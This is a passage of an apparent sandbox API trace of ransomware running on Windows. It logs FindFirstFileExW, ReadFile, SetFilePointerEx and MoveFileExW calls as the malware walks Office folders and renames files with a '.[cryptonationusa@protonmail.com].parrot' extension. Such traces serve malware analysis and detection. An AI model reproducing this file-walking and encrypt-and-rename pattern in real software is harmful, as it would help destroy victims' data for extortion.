ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcec0a700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xe5, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow.png", cAlternateFileName="")) returned 1 [0170.738] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0170.738] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0170.739] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.739] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe5, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xe5, lpOverlapped=0x0) returned 1 [0170.739] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.740] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\arrow.png" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\arrow.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\arrow.png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\arrow.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0170.799] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0170.799] ReadFile (in: hFile=0x260, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0170.800] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.800] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x931, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x931, lpOverlapped=0x0) returned 1 [0170.800] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.801] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\Document.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\document.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\Document.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\document.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0170.806] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0170.806] ReadFile (in: hFile=0x260, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0170.807] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.808] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x832, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x832, lpOverlapped=0x0) returned 1 [0170.808] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.808] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\Generic.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\generic.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\Generic.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\generic.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0170.813] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0170.813] ReadFile (in: hFile=0x260, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0170.814] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.814] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe2, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xe2, lpOverlapped=0x0) returned 1 [0170.814] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.815] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\gradient.png" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\gradient.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\gradient.png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\gradient.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0170.818] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0170.818] ReadFile (in: hFile=0x260, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0170.820] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.820] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x634, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x634, lpOverlapped=0x0) returned 1 [0170.820] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.821] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\Main.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\main.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\Main.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\main.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0170.824] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0170.824] ReadFile (in: hFile=0x260, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0170.825] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.825] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x96a, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x96a, lpOverlapped=0x0) returned 1 [0170.825] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.826] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\Person.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\person.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\Person.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\person.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0170.829] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0170.830] ReadFile (in: hFile=0x260, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0170.831] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.831] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x68e, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x68e, lpOverlapped=0x0) returned 1 [0170.831] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.832] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\Response.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\response.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\Response.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\response.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0170.835] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0170.835] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd67f150, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf1db0640, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xf1db0640, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.835] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf1ccbe00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow.png.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="ARROWP~1.PAR")) returned 1 [0170.835] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0170.835] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0170.844] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.844] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x19cc, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x19cc, lpOverlapped=0x0) returned 1 [0170.844] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.845] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0170.848] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0170.848] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0170.849] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.849] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf7, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xf7, lpOverlapped=0x0) returned 1 [0170.849] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.850] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions_Doc.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions_doc.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions_Doc.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions_doc.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0170.853] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0170.854] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0170.855] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.855] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x55c, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x55c, lpOverlapped=0x0) returned 1 [0170.855] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.855] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions_Generic.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions_generic.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions_Generic.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions_generic.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0170.858] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0170.859] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0170.859] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.859] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa7, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xa7, lpOverlapped=0x0) returned 1 [0170.860] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.860] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions_Person.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions_person.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions_Person.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions_person.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0170.863] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0170.863] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0170.864] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.864] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xab, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xab, lpOverlapped=0x0) returned 1 [0170.864] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.865] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions_Response.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions_response.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions_Response.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions_response.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0170.867] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0170.868] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.868] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.868] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.868] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.868] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="BUTTON.GIF", cAlternateFileName="")) returned 1 [0170.869] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0170.869] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0170.870] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.870] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1ac, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x1ac, lpOverlapped=0x0) returned 1 [0170.870] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.870] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen\\BUTTON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\springgreen\\button.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen\\BUTTON.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\springgreen\\button.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0170.875] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0170.875] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0170.876] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.876] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x155, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x155, lpOverlapped=0x0) returned 1 [0170.876] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.876] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\springgreen\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen\\TAB_OFF.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\springgreen\\tab_off.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0170.880] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0170.880] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0170.881] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.881] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xde, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xde, lpOverlapped=0x0) returned 1 [0170.881] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.882] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\springgreen\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen\\TAB_ON.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft 